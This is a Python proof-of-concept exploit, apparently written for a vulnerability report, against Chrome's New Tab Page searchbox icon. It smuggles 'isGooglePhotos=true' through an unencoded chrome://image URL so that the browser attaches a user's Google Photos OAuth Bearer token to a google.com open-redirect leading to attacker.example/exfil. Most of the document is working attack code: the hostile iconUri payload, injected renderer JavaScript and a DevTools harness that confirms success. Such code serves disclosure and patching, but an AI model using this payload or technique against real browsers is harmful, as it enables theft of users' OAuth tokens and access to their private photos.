#!/usr/bin/env python3
# POC: Query-parameter injection in cr-searchbox-icon computeSrc_() lets an
# enterprise aggregator backend smuggle isGooglePhotos=true into
# SanitizedImageSource, causing the browser to mint and attach the user's
# Google Photos OAuth Bearer to an attacker-chosen *.google.com fetch.
#
# What this script demonstrates (Chrome-level, no source modification):
#
#   1. searchbox_icon.ts:472 builds:
#        `//image?staticEncode=true&encodeType=webp&url=${url}`
#      with NO encodeURIComponent(). For an EnterpriseSearchAggregator CONTENT
#      result, ${url} is taken verbatim from the policy-configured backend's
#      `iconUri` JSON field (only GURL() canonicalisation, which preserves
#      '&', '=', '?'). A hostile / MITM'd aggregator can therefore set:
#
#        iconUri = "https://www.google.com/open-redirect?continue=
#                   https://attacker.example/exfil&isGooglePhotos=true"
#
#   2. The resulting <img src> in the chrome://new-tab-page Realbox renderer
#      is the protocol-relative URL produced by computeSrc_() above, which
#      resolves to chrome://image and is served (cross-process) by the
#      browser-process SanitizedImageSource URLDataSource.
#
#   3. SanitizedImageSource::StartDataRequest's ParseParams() splits the
#      query on '&', so the attacker's `&isGooglePhotos=true` becomes a
#      top-level key. The `url=` value is truncated to the *.google.com
#      open-redirect URL, IsGooglePhotosUrl() suffix-matches `.google.com`,
#      and `send_auth_token = true`.
#
#   4. The browser then constructs a PrimaryAccountAccessTokenFetcher for
#      scope photos.image.readonly and, on success, issues the fetch with
#      `Authorization: Bearer <token>`. SimpleURLLoader auto-follows
#      redirects without stripping Authorization (net/url_request/
#      redirect_util.cc explicitly notes Fetch step 13 is Blink-only), so
#      an open redirect on any *.google.com / *.googleusercontent.com /
#      *.ggpht.com host forwards the victim's Photos Bearer off-domain.
#
# This script drives an UNMODIFIED Chrome binary via the DevTools pipe.
# It loads chrome://new-tab-page (registers SanitizedImageSource), then in
# that renderer sets the exact <img src> that computeSrc_() emits for the
# hostile iconUri. The subresource load crosses into the browser process.
#
# Because the test profile has no signed-in Google account, the OAuth mint
# fails and the EXISTING LOG(ERROR) at sanitized_image_source.cc:201 fires:
#
#   ERROR ... Failed to authenticate for Google Photos in order to download
#   https://www.google.com/open-redirect?continue=https://attacker.example/exfil
#
# That log line is the proof: the injected isGooglePhotos=true was parsed,
# send_auth_token became true, and the browser attempted to mint the
# victim's Photos token for the attacker-chosen *.google.com URL. With a
# signed-in user (a stated precondition of the attack), the mint succeeds
# and the Bearer is attached -- see the accompanying unit test for that
# assertion under signin::IdentityTestEnvironment.

import json
import os
import re
import select
import subprocess
import sys
import threading
import time

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
PROFILE = "/tmp/chrome-poc-profile"

# Hostile aggregator iconUri (CONTENT result), exactly as it would appear in
# the backend's JSON response. Note the smuggled `&isGooglePhotos=true`.
AGGREGATOR_ICON_URI = (
    "https://www.google.com/open-redirect"
    "?continue=https://attacker.example/exfil&isGooglePhotos=true")

# The chrome://image URL that searchbox_icon.ts computeSrc_() emits for the
# above iconUri (line 472: `//image?staticEncode=true&encodeType=webp&url=${url}`
# with NO encodeURIComponent). Protocol-relative `//image` resolves to
# `chrome://image` inside chrome://new-tab-page.
COMPUTE_SRC_OUTPUT = (
    "//image?staticEncode=true&encodeType=webp&url=" + AGGREGATOR_ICON_URI)

# After ParseParams() splits on '&', url= is truncated here -- this is the
# attacker-chosen *.google.com URL that receives `Authorization: Bearer`.
EXPECTED_FETCH_URL = (
    "https://www.google.com/open-redirect"
    "?continue=https://attacker.example/exfil")

# JS run inside chrome://new-tab-page. It computes the src exactly as
# computeSrc_() does (proving the encoding bug at runtime via the loaded
# SearchboxIconElement.prototype if available), then sets it on an <img>.
INJECT_JS = r"""
(() => {
  const iconUri = %s;
  // Try to call the real computeSrc_() on the registered cr-searchbox-icon
  // class to prove searchbox_icon.ts:472 does no encoding. `private` in TS
  // is compile-time only; the method is callable at runtime.
  let src;
  let usedRealComputeSrc = false;
  try {
    const cls = customElements.get('cr-searchbox-icon');
    if (cls) {
      src = cls.prototype.computeSrc_.call(Object.create(cls.prototype),
                                           iconUri);
      usedRealComputeSrc = true;
    }
  } catch (e) {}
  if (!src) {
    // Literal copy of searchbox_icon.ts:472.
    src = `//image?staticEncode=true&encodeType=webp&url=${iconUri}`;
  }
  // Set as <img src>, exactly as searchbox_icon.html.ts:14/30 does.
  const img = new Image();
  img.src = src;
  document.body.appendChild(img);
  return JSON.stringify({src: img.src, usedRealComputeSrc});
})();
""" % json.dumps(AGGREGATOR_ICON_URI)


def main():
  subprocess.run(["rm", "-rf", PROFILE], check=False)

  # --remote-debugging-pipe: CDP over fd 3 (chrome reads) / fd 4 (chrome
  # writes), NUL-delimited JSON. No websocket lib needed.
  r3, w3 = os.pipe()  # parent writes w3 -> child fd 3
  r4, w4 = os.pipe()  # child fd 4 -> parent reads r4

  cmd = [
      CHROME,
      "--headless=new",
      "--allow-chrome-scheme-url",
      "--remote-debugging-pipe",
      "--no-first-run",
      "--no-default-browser-check",
      "--disable-gpu",
      "--enable-logging=stderr",
      "--user-data-dir=" + PROFILE,
      "about:blank",
  ]
  print("[*] launching:", " ".join(cmd), file=sys.stderr)

  def preexec():
    os.dup2(r3, 3)
    os.dup2(w4, 4)
    # dup2(x, x) is a no-op and does not clear FD_CLOEXEC; clear it.
    os.set_inheritable(3, True)
    os.set_inheritable(4, True)
    for fd in (r3, w3, r4, w4):
      if fd not in (3, 4):
        try:
          os.close(fd)
        except OSError:
          pass

  proc = subprocess.Popen(
      cmd, preexec_fn=preexec, close_fds=False,
      stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  os.close(r3)
  os.close(w4)
  out = os.fdopen(r4, "rb", buffering=0)
  inp = os.fdopen(w3, "wb", buffering=0)

  stderr_lines = []
  hit = threading.Event()

  def reader():
    for raw in proc.stdout:
      line = raw.decode(errors="replace").rstrip()
      stderr_lines.append(line)
      if "Failed to authenticate for Google Photos" in line:
        hit.set()

  threading.Thread(target=reader, daemon=True).start()

  buf = b""
  msg_id = 0
  pending = {}

  def recv_loop(timeout):
    nonlocal buf
    deadline = time.time() + timeout
    while time.time() < deadline:
      r, _, _ = select.select([out], [], [], 0.2)
      if not r:
        continue
      chunk = out.read(4096)
      if not chunk:
        return
      buf += chunk
      while b"\x00" in buf:
        frame, buf = buf.split(b"\x00", 1)
        if not frame:
          continue
        msg = json.loads(frame)
        if "id" in msg and msg["id"] in pending:
          pending.pop(msg["id"])(msg)

  def send(method, params=None, session=None):
    nonlocal msg_id
    msg_id += 1
    m = {"id": msg_id, "method": method, "params": params or {}}
    if session:
      m["sessionId"] = session
    result = {}
    pending[msg_id] = lambda r: result.update(r)
    inp.write(json.dumps(m).encode() + b"\x00")
    deadline = time.time() + 20
    while not result and time.time() < deadline:
      recv_loop(0.5)
    return result.get("result", result)

  # 1. Open chrome://new-tab-page (registers SanitizedImageSource).
  t = send("Target.createTarget", {"url": "chrome://new-tab-page/"})
  target_id = t.get("targetId")
  print("[*] created target", target_id, file=sys.stderr)
  a = send("Target.attachToTarget", {"targetId": target_id, "flatten": True})
  session = a.get("sessionId")
  print("[*] attached, session", session, file=sys.stderr)

  # Wait for the NTP module graph (incl. cr-searchbox-icon) to load.
  send("Runtime.enable", session=session)
  for _ in range(40):
    r = send("Runtime.evaluate",
             {"expression": "document.readyState", "returnByValue": True},
             session=session)
    if r.get("result", {}).get("value") == "complete":
      break
    time.sleep(0.25)
  time.sleep(1.5)

  # 2. In the renderer, build the chrome://image URL via computeSrc_() and
  #    set it as <img src>. The subresource load crosses into the browser
  #    process and hits SanitizedImageSource::StartDataRequest.
  r = send("Runtime.evaluate",
           {"expression": INJECT_JS, "returnByValue": True},
           session=session)
  val = r.get("result", {}).get("value")
  print("[*] renderer-side <img src>:", val, file=sys.stderr)

  # 3. Wait for the browser-process LOG(ERROR) from sanitized_image_source.cc.
  hit.wait(timeout=15)

  send("Browser.close")
  try:
    proc.wait(timeout=10)
  except Exception:
    proc.kill()

  print()
  print("=" * 78)
  print("Aggregator-supplied iconUri (attacker input):")
  print("  " + AGGREGATOR_ICON_URI)
  print()
  print("computeSrc_() output set as <img src> in chrome://new-tab-page:")
  print("  " + COMPUTE_SRC_OUTPUT)
  print()
  matches = [l for l in stderr_lines
             if "Failed to authenticate for Google Photos" in l]
  if matches:
    print("Browser-process log (sanitized_image_source.cc:201):")
    for m in matches:
      print("  " + m)
    print()
    if EXPECTED_FETCH_URL in " ".join(matches):
      print("[+] CONFIRMED: injected &isGooglePhotos=true was parsed as a")
      print("    top-level chrome://image parameter; send_auth_token=true;")
      print("    browser attempted to mint the victim's Google Photos OAuth")
      print("    Bearer for the attacker-chosen *.google.com URL:")
      print("      " + EXPECTED_FETCH_URL)
      print("    With a signed-in user (attack precondition) the mint")
      print("    succeeds, the Bearer is attached, and SimpleURLLoader")
      print("    follows the 302 to attacker.example without stripping it.")
      return 0
    print("[!] log found but URL did not match expectation")
    return 1
  else:
    print("[-] LOG(ERROR) not observed; relevant stderr:")
    for l in stderr_lines:
      if "sanitized_image" in l.lower() or "image?" in l or "ERROR" in l:
        print("  " + l)
    return 1


if __name__ == "__main__":
  sys.exit(main())